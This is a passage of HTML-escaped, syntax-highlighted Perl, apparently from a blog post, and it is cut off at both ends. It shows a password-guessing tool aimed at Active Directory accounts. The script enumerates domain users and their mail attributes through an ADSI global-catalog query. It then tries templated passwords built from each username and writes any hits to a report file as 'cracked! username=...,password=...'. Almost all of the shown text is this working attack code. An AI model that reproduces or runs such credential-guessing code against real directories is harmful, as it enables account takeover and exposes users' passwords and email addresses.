style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;&amp;gt;report.txt&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;||&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;die&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;create&amp;nbsp;report&amp;nbsp;error:&amp;nbsp;$!n&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;select&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;REPORT&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;33&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;|&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;34&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;select&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;STDOUT&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;35&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;36&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;foreach&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$user&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;keys&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;%users&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;37&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;38&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;foreach&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$pwd&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;@pwds&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;39&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;40&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$pwd&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=~&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;s&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;/&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;%USERNAME&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;%/&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$user&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;41&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;42&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$ret&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;TestPwd(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$user&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$pwd&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;43&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$ret&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;44&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;45&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;print&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;cracked!&amp;nbsp;username=$user,password=$pwd,mail=&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$users&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;{&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$user&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;n&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;46&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;print&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;REPORT&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;cracked!&amp;nbsp;username=$user,password=$pwd,mail=&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$users&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;{&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$user&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;n&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;47&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;48&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;last&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;49&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;50&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;print&amp;nbsp;"testing&amp;nbsp;[$user/$pwd]&amp;nbsp;&lt;img src="http://www.cnitblog.com/Images/dot.gif"&gt;n";&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;51&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;52&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;53&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;close&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;REPORT&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;54&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;55&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sub&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;LoadUser&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;56&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;57&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objConnection&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Win32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;OLE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;new(&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;ADODB.Connection&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;58&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objCommand&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Win32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;OLE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;new(&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;ADODB.Command&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;59&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;60&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;open&amp;nbsp;ad&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;61&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objConnection&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;open&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;Provider=ADsDSOObject;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;62&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;63&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objCommand&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;ActiveConnection&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objConnection&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;64&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;65&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;search&amp;nbsp;what&amp;nbsp;and&amp;nbsp;how&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;66&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$cmd&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;select&amp;nbsp;userAccountControl,distinguishedName,mail&amp;nbsp;from&amp;nbsp;'GC://dc=bj,dc=microsoft,dc=com'&amp;nbsp;where&amp;nbsp;objectCategory='user'&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;67&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objCommand&lt;/span&gt;&lt;span style="COLOR: 